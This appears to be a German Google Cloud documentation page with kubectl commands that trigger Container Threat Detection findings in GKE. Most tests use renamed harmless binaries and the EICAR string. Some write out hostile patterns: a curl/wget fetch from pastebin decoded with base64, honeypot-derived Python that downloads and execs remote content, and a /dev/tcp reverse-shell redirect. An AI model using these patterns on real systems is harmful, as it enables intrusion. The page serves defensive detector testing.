Auf dieser Seite wird erläutert, wie Sie prüfen können, ob Container Threat Detection funktioniert, indem Sie Detektoren auslösen und auf Ergebnisse prüfen. Container Threat Detection ist ein integrierter Dienst der Premium- und Enterprise-Stufen von Security Command Center. Zum Anzeigen der Container Threat Detection-Ergebnisse muss sie in den Einstellungen von Security Command Center für Dienste aktiviert sein.
Hinweis
Um potenzielle Bedrohungen für Ihre Container zu erkennen, müssen Sie darauf achten, dass Ihre Cluster auf einer unterstützten Version von Google Kubernetes Engine (GKE) basieren. Weitere Informationen finden Sie unter Unterstützte GKE-Version verwenden.
Detektoren aktivieren
Die Detektoren Added Binary Executed und Added Library Loaded sind standardmäßig deaktiviert. Wenn Sie diese Detektoren testen möchten, müssen Sie sie explizit aktivieren:
Prüfen Sie den Status des Detektors:
export PROJECT=PROJECT_ID gcloud alpha scc settings services describe \ --service=CONTAINER_THREAT_DETECTION \ --project=${PROJECT}Aktivieren Sie den Detektor
Added Binary Executed:gcloud alpha scc settings services modules disable \ --service=CONTAINER_THREAT_DETECTION \ --module=ADDED_BINARY_EXECUTED \ --project=${PROJECT}Aktivieren Sie den Detektor
Added Library Loaded:gcloud alpha scc settings services modules disable \ --service=CONTAINER_THREAT_DETECTION \ --module=ADDED_LIBRARY_LOADED \ --project=${PROJECT}
Umgebungsvariablen festlegen
Zum Testen von Detektoren verwenden Sie die Google Cloud Console und Cloud Shell. Sie können Umgebungsvariablen in Cloud Shell festlegen, um die Ausführung von Befehlen zu vereinfachen. Die folgenden Variablen werden zum Testen aller Container Threat Detection-Detektoren verwendet.
Öffnen Sie die Google Cloud Console.
Wählen Sie das Projekt aus, das den Container enthält, den Sie testen möchten.
Klicken Sie auf Google Cloud Shell aktivieren.
Legen Sie in Cloud Shell Umgebungsvariablen fest:
Die Zone, in der sich der Cluster befindet:
export ZONE=CLUSTER_ZONEDas Projekt, in dem sich der Container befindet:
export PROJECT=PROJECT_IDIhr Clustername:
export CLUSTER_NAME=CLUSTER_NAME
Die Variablen werden festgelegt. Die folgenden Abschnitte enthalten Anleitungen zum Testen von Container Threat Detection-Detektoren.
Ausgeführte Binärdatei hinzugeführt
Fügen Sie eine Binärdatei in Ihren Container ein und führen Sie sie aus, um ein Ergebnis des Typs "Hinzugefügte Binärdatei ausgeführt" auszulösen. In diesem Beispiel wird das neueste Ubuntu 24.04-Image bereitgestellt, /bin/ls an einen anderen Speicherort kopiert und dann ausgeführt. Die Ausführung der Binärdatei ist unerwartet, da die Kopie der Binärdatei nicht Teil des ursprünglichen Container-Images war, auch wenn das Image unter Ubuntu 24.04 ausgeführt wird und Container unveränderlich sind.
Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECTLegen Sie eine Binärdatei ab und führen Sie sie aus:
X86-Knoten:
tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- sh -c "cp /bin/ls /tmp/$tag; /tmp/$tag"ARM-Knoten:
tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- sh -c "cp /bin/ls /tmp/$tag; /tmp/$tag"
Mit diesem Testverfahren wird ein Ergebnis des Typs "Hinzugefügte Binärdatei ausgeführt" erstellt, das in Security Command Center und in Cloud Logging angezeigt werden kann, wenn Sie Logging für Container Threat Detection konfiguriert haben. Ergebnisse können nur in Cloud Logging angezeigt werden, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.
Zur Reduzierung von Falschmeldungen werden beim Erstellen eines Containers Ergebnisse vom Typ „Hinzugefügte Binärdatei ausgeführt“ vorübergehend von Container Threat Detection herausgefiltert. Wenn Sie alle Ergebnisse vom Typ „Hinzugefügte Binärdatei ausgeführt“ sehen möchten, während ein Container eingerichtet wird, fügen Sie dem Container- oder Pod-Namen wie im Beispiel das Präfix ktd-test hinzu.
Hinzugefügte Mediathek geladen
Ziehen Sie eine Bibliothek in den Container und laden Sie sie, um ein Ergebnis des Typs "Hinzugefügte Bibliothek geladen" auszulösen. In diesem Beispiel wird das neueste Ubuntu 24.04-Image bereitgestellt, /lib/x86_64-linux-gnu/libc.so.6 an einen anderen Speicherort kopiert und dann mit ld geladen. Die geladene Bibliothek ist unerwartet, da die Kopie der Bibliothek nicht Teil des ursprünglichen Container-Images war, auch wenn sich das Image unter Ubuntu 24.04 befindet und Container unveränderlich sind.
Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsplan zuzugreifen:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECTLegen Sie eine Mediathek ab und laden Sie sie mit
ld:X86-Knoten:
tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- sh -c \ "cp /lib/x86_64-linux-gnu/libc.so.6 /tmp/$tag; /lib64/ld-linux-x86-64.so.2 /tmp/$tag"ARM-Knoten:
tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- sh -c \ "cp /lib/aarch64-linux-gnu/libc.so.6 /tmp/$tag; /lib/ld-linux-aarch64.so.1 /tmp/$tag"
Mit diesem Testverfahren wird ein Ergebnis des Typs "Hinzugefügte Bibliothek geladen" erstellt, das in Security Command Center und in Cloud Logging angezeigt werden kann, wenn Sie Logging für Container Threat Detection konfiguriert haben. Ergebnisse in Cloud Logging können nur angezeigt werden, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center auf Organisationsebene aktivieren.
Zur Reduzierung von Fehlalarmen werden beim Erstellen eines Containers Ergebnisse vom Typ „Hinzugefügte Bibliothek geladen“ vorübergehend von Container Threat Detection herausgefiltert. Wenn Sie alle Ergebnisse vom Typ „Hinzugefügte Bibliothek geladen“ sehen möchten, während ein Container eingerichtet wird, fügen Sie dem Container- oder Pod-Namen wie im Beispiel das Präfix ktd-test hinzu.
Ausführung: Ausgeführte schädliche Binärdatei hinzugefügt
Wenn Sie ein Ergebnis des Typs „Ausführung: Hinzugefügte schädliche Binärdatei ausgeführt“ auslösen möchten, legen Sie eine schädliche Binärdatei in Ihren Container und führen Sie sie aus. In diesem Beispiel wird das neueste Ubuntu 24.04-Image bereitgestellt, eine simulierte schädliche Datei erstellt und dann ausgeführt. Die Ausführung der Binärdatei ist unerwartet, da die simulierte schädliche Binärdatei nicht Teil des ursprünglichen Container-Images war und es sich bei der Binärdatei um eine EICAR-Testdatei handelt, die von der Threat Intelligence als schädlich eingestuft wurde.
Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECTLegen Sie die EICAR-Binärdatei ab und führen Sie sie aus:
X86-Knoten:
tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- sh -c \ "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; /tmp/test_mal_file; sleep 10"ARM-Knoten:
tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- sh -c \ "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; /tmp/test_mal_file; sleep 10"
Mit diesem Testverfahren wird ein Ergebnis des Typs „Ausführung: Hinzugefügte schädliche Binärdatei ausgeführt“ erstellt, das Sie in Security Command Center und in Cloud Logging aufrufen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Ergebnisse in Cloud Logging können nur angezeigt werden, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.
Um die Anzahl der Ergebnisse zu reduzieren, werden beim Erstellen eines Containers vorübergehend Ergebnisse vom Typ „Ausführung: Hinzugefügte schädliche Binärdatei ausgeführt“ herausgefiltert. Wenn Sie alle Ergebnisse vom Typ „Ausführung: Hinzugefügte schädliche Binärdatei ausgeführt“ sehen möchten, während ein Container eingerichtet wird, fügen Sie dem Container- oder Pod-Namen wie im Beispiel das Präfix ktd-test hinzu.
Ausführung: Container-Escape
Wenn Sie ein Ergebnis vom Typ „Ausführung: Container-Ausbruch“ auslösen möchten, legen Sie eine Binärdatei in Ihren Container und führen Sie sie aus. In diesem Beispiel wird das neueste Ubuntu 24.04-Image bereitgestellt, /bin/ls an einen anderen Speicherort kopiert, in ein verdächtiges Tool (botb-linux-amd64) umbenannt und mit zusätzlichen Argumenten ausgeführt. Diese Aktion wird als verdächtig eingestuft, da sie ein Verhalten simuliert, das einem Container-Escape-Versuch entspricht.
Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECTLegen Sie eine Binärdatei eines Container-Exploitation-Tools wie
botb-linux-amd64ab und führen Sie sie aus:X86-Knoten:
tag="ktd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/botb-linux-amd64; /tmp/botb-linux-amd64 -autopwn"ARM-Knoten:
tag="ktd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/botb-linux-arm64; /tmp/botb-linux-arm64 -autopwn"
Mit diesem Testverfahren wird ein Ergebnis vom Typ „Ausführung: Container-Ausbruch“ erstellt, das Sie in Security Command Center und in Cloud Logging aufrufen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Ergebnisse können nur in Cloud Logging angezeigt werden, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.
Zur Reduzierung von Falschmeldungen werden bei der erstmaligen Erstellung eines Containers möglicherweise vorübergehend Ergebnisse vom Typ „Ausführung: Container-Ausbruch“ herausgefiltert. Wenn Sie alle Ergebnisse für „Ausführung: Container-Ausbruch“ sehen möchten, während ein Container eingerichtet wird, fügen Sie dem Containernamen oder Pod-Namen wie im Beispiel das Präfix ktd-test hinzu.
Ausführung: Ausführung des Kubernetes-Angriffstools
Wenn Sie ein Ergebnis vom Typ „Ausführung: Ausführung eines Kubernetes-Angriffstools“ auslösen möchten, legen Sie eine Binärdatei in Ihren Container und führen Sie sie aus. In diesem Beispiel wird das neueste Ubuntu 24.04-Image bereitgestellt, /bin/ls an einen anderen Speicherort kopiert, in ein verdächtiges Tool (amicontained) umbenannt und ausgeführt. Diese Aktion wird als verdächtig eingestuft, da sie ein Verhalten simuliert, das mit einem potenziellen Ausführungsversuch eines Kubernetes-Angriffstools übereinstimmt.
Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECTLegen Sie eine Binärdatei eines Kubernetes-Angriffstools wie
amicontainedab und führen Sie sie aus:X86-Knoten:
tag="ktd-test-kubernetes-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/amicontained; /tmp/amicontained"ARM-Knoten:
tag="ktd-test-kubernetes-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/amicontained; /tmp/amicontained"
Mit diesem Testverfahren wird ein Ergebnis vom Typ „Ausführung: Ausführung eines Kubernetes-Angriffstools“ erstellt, das Sie in Security Command Center und in Cloud Logging aufrufen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Ergebnisse in Cloud Logging können nur angezeigt werden, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.
Zur Reduzierung von Fehlalarmen werden bei der erstmaligen Erstellung eines Containers möglicherweise vorübergehend Ergebnisse für „Ausführung: Ausführung von Kubernetes-Angriffstool“ herausgefiltert.
Wenn Sie alle Ergebnisse für „Execution: Kubernetes Attack Tool Execution“ sehen möchten, während ein Container eingerichtet wird, fügen Sie dem Container- oder Pod-Namen wie im Beispiel das Präfix ktd-test hinzu.
Ausführung: Ausführung des lokalen Reconnaissance-Tools
Wenn Sie ein Ergebnis des Typs „Ausführung: Ausführung eines lokalen Aufklärungstools“ auslösen möchten, legen Sie eine Binärdatei in Ihren Container und führen Sie sie aus. In diesem Beispiel wird das neueste Ubuntu 24.04-Image bereitgestellt, /bin/ls an einen anderen Speicherort kopiert, in ein verdächtiges Tool (linenum.sh) umbenannt und ausgeführt. Diese Aktion wird als verdächtig eingestuft, da die Ausführung des umbenannten Binärprogramms ein Verhalten simuliert, das mit einem lokalen Erkundungsversuch übereinstimmt.
Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECTLegen Sie eine Binärdatei eines lokalen Reconnaissance-Tools wie
linenum.shab und führen Sie sie aus:X86-Knoten:
tag="ktd-test-local-reconn-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/linenum.sh; /tmp/linenum.sh"ARM-Knoten:
tag="ktd-test-local-reconn-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/linenum.sh; /tmp/linenum.sh"
Mit diesem Testverfahren wird ein Ergebnis vom Typ „Ausführung: Ausführung eines lokalen Aufklärungstools“ erstellt, das Sie in Security Command Center und in Cloud Logging aufrufen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Ergebnisse in Cloud Logging können nur angezeigt werden, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.
Zur Reduzierung von Falschmeldungen werden bei der erstmaligen Erstellung eines Containers möglicherweise vorübergehend Ergebnisse für „Ausführung: Ausführung des lokalen Reconnaissance-Tools“ herausgefiltert. Wenn Sie alle Ergebnisse der Ausführung des lokalen Reconnaissance-Tools sehen möchten, während ein Container eingerichtet wird, fügen Sie dem Containernamen oder Podnamen wie im Beispiel das Präfix ktd-test hinzu.
Execution: Malicious Python executed
Wenn Sie ein Execution: Malicious Python executed-Ergebnis auslösen möchten, können Sie Python mithilfe der folgenden Schritte in Ihrem Container ausführen.
Dabei wird das neueste Python-Image bereitgestellt, scheinbar schädlicher Python-Code kopiert und dann ausgeführt. Damit die Erkennung ausgelöst wird, muss der Python-Code für den Detektor schädlich erscheinen.
Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsplan zuzugreifen:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECTFühren Sie das folgende Script in einem neuen Container aus.
Dieser Python-Code stammt aus einem Honeypot. Sie wurde jedoch so geändert, dass die schädliche Binärdatei nicht ausgeführt wird. Das Ausführen des Scripts führt nicht zu schädlichen Aktivitäten in Ihrem Container. Das Binärprogramm unter der angegebenen URL existiert nicht und der Versuch, die URL aufzurufen, führt zu einem 404-Fehler. Dies ist zu erwarten. Die Erkennung wird durch den Versuch ausgelöst, ein Binärprogramm mit einem Inline-Script herunterzuladen, zu decodieren und auszuführen.
X86-Knoten:
tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/python:latest \ "$tag" -- python -c "import urllib import base64 import os url = 'https://pastebin.com/raw/Z' page = base64.b64decode(urllib.urlopen(url).read()) page = '' f = os.popen(str(page)) url = 'https://pastebin.com/raw/Z' d = 'https://pastebin.com/raw/Z' page = base64.b64decode(urllib.urlopen(url).read()) page = '' exec(page)"ARM-Knoten:
tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image python:3-buster \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- python -c "import urllib import base64 import os url = 'https://pastebin.com/raw/Z' page = base64.b64decode(urllib.urlopen(url).read()) page = '' f = os.popen(str(page)) url = 'https://pastebin.com/raw/Z' d = 'https://pastebin.com/raw/Z' page = base64.b64decode(urllib.urlopen(url).read()) page = '' exec(page)"
Mit diesem Testverfahren wird ein Execution: Malicious Python executed-Ergebnis erstellt, das Sie in Security Command Center und in Cloud Logging aufrufen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Die Ergebnisse können nur in Cloud Logging aufgerufen werden, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.
Ausführung: Modifizierte schädliche Binärdatei ausgeführt
Wenn Sie ein Ergebnis des Typs „Ausführung: Modifizierte schädliche Binärdatei ausgeführt“ auslösen möchten, ändern Sie eine schädliche Binärdatei in Ihrem Container und führen Sie sie aus. In diesem Beispiel wird das neueste Ubuntu 24.04-Image bereitgestellt, /bin/ls in eine EICAR-Testdatei mit Malware geändert und dann ausgeführt. Die Ausführung des Binärprogramms ist unerwartet, da die erstellte /bin/ls während der Containerlaufzeit als schädliches EICAR-Test-Binärprogramm geändert wird. Das EICAR-Binärprogramm ist laut Threat Intelligence eine bekannte schädliche Datei.
Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECTLegen Sie die EICAR-Binärdatei ab und führen Sie sie aus:
X86-Knoten:
tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- sh -c "echo -n '$eicar' > /bin/ls; /bin/ls; sleep 10"ARM-Knoten:
tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- sh -c "echo -n '$eicar' > /bin/ls; /bin/ls; sleep 10"
Mit diesem Testverfahren wird ein Ergebnis des Typs „Ausführung: Modifizierte schädliche Binärdatei ausgeführt“ erstellt, das in Security Command Center und in Cloud Logging angezeigt werden kann, wenn Sie Logging für Container Threat Detection konfiguriert haben. Ergebnisse können nur in Cloud Logging angezeigt werden, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.
Zur Reduzierung von Falschmeldungen werden beim Erstellen eines Containers vorübergehend Ergebnisse vom Typ „Ausführung: Modifizierte schädliche Binärdatei ausgeführt“ herausgefiltert. Wenn Sie alle Ergebnisse vom Typ „Ausführung: Modifizierte schädliche Binärdatei ausgeführt“ sehen möchten, während ein Container eingerichtet wird, fügen Sie dem Container- oder Pod-Namen wie im Beispiel das Präfix ktd-test hinzu.
Schädliches Script ausgeführt
Wenn Sie ein Ergebnis des Typs „Schädliches Skript ausgeführt“ auslösen möchten, können Sie das Skript mit der folgenden Anleitung in Ihrem Container ausführen.
Dabei wird das neueste Ubuntu 24.04-Image bereitgestellt, ein scheinbar schädliches Script kopiert und dann ausgeführt. Damit die Erkennung ausgelöst wird, muss ein Skript durch den Detektor als schädlich eingestuft werden.
Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsplan zuzugreifen:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECTFühren Sie das folgende Script in einem neuen Container aus.
Dieses Inline-Bourne-Shell-Script stammt aus einem Honeypot. Es wurde jedoch so geändert, dass die schädliche Binärdatei nicht ausgeführt wird. Das Ausführen des Scripts führt daher nicht zu schädlichen Aktivitäten in Ihrem Container. Das Binärprogramm unter der angegebenen URL wurde möglicherweise entfernt. Der Versuch, die URL aufzurufen, führt dann zu einem 404-Fehler. Dies ist zu erwarten. Die Erkennung wird durch den Versuch ausgelöst, ein Binärprogramm mit einem Inline-Script herunterzuladen, zu decodieren und auszuführen.
X86-Knoten:
tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- sh -c \ "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"ARM-Knoten:
tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- sh -c \ "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"
Bei diesem Testverfahren wird ein Ergebnis des Typs "Schädliches Skript ausgeführt" erstellt, das Sie in Security Command Center und in Cloud Logging sehen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Die Ergebnisse können nur in Cloud Logging aufgerufen werden, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.
Schädliche URL beobachtet
Wenn Sie ein Ergebnis des Typs „Beobachtete schädliche URL“ auslösen möchten, führen Sie ein Binary aus und geben Sie eine schädliche URL als Argument an.
Im folgenden Beispiel wird ein Ubuntu 24.04-Image bereitgestellt und /bin/curl ausgeführt, um über den Dienst Safe Browsing auf eine Beispiel-Malware-URL zuzugreifen.
Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsplan zuzugreifen:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECTFühren Sie
curlaus und geben Sie eine schädliche URL als Argument an:X86-Knoten:
tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" url="https://testsafebrowsing.appspot.com/s/malware.html" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- sh -c "apt update; apt --yes install curl; curl $url | cat"ARM-Knoten:
tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" url="https://testsafebrowsing.appspot.com/s/malware.html" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- sh -c "apt update; apt --yes install curl; curl $url | cat"
Mit diesem Testverfahren wird das Ergebnis „Bösartige URL erkannt“ ausgelöst, das Sie in Security Command Center und, sofern Sie Logging für Container Threat Detection konfiguriert haben, in Cloud Logging aufrufen können. Ergebnisse in Cloud Logging können nur angezeigt werden, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center auf Organisationsebene aktivieren.
Reverse Shell
Wenn Sie ein Reverse-Shell-Ergebnis auslösen möchten, starten Sie eine Binärdatei mit stdin-Weiterleitung zu einem mit TCP verbundenen Socket. In diesem Beispiel wird /bin/echo in /tmp/sh kopiert und dann wird /tmp/sh mit einer Weiterleitung zum öffentlichen DNS von Google
8.8.8.8 am DNS-Port gestartet. Beim Ausführen dieses Beispiels wird nichts ausgegeben. In diesem Beispiel wird die /bin/sh-Binärdatei nicht verwendet, um zu verhindern, dass ein externer Code durch einen Man-in-the-Middle-Angriff ausgelöst wird.
Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsplan zuzugreifen:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECTStarten Sie eine Binärdatei mit
/bin/echo-Weiterleitung zu Google Public DNS:X86-Knoten:
tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1"ARM-Knoten:
tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1"
Mit diesem Testverfahren wird ein Reverse Shell-Ergebnis erstellt, das Sie in Security Command Center und in Cloud Logging sehen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Ergebnisse in Cloud Logging können nur angezeigt werden, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center auf Organisationsebene aktivieren.
Unerwartete untergeordnete Shell
Zum Testen des Unexpected Child Shell-Detektors können Sie einen Prozessbaum mit einem untergeordneten Shell-Prozess erstellen.
Im folgenden Beispiel wird ein consul->dash-Prozessbaum erstellt, der vom Unexpected Child Shell-Erkennungssystem erkannt werden kann. Dieser Test ist sicher, da nur integrierte Binärdateien verwendet werden. Dieses Beispiel tut Folgendes:
- Erstellt eine Kopie des
sh-Prozesses und benennt sieconsul. - Der
echo-Prozess wird kopiert unddashgenannt. - Ruft den kopierten
dash-Prozess im kopiertenconsul-Prozess auf.
So lösen Sie ein Unexpected Child Shell-Ergebnis aus:
Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECTVerwenden Sie den Mock-
consul-Prozess, um eine Mock-Shell aufzurufen:X86-Knoten:
tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -ti \ --image ubuntu "$tag" --command -- /bin/sh -c \ 'cp /bin/sh /tmp/consul; cp /bin/echo /tmp/sh; \ /tmp/consul -c "/tmp/sh child ran successfully & wait"'ARM-Knoten:
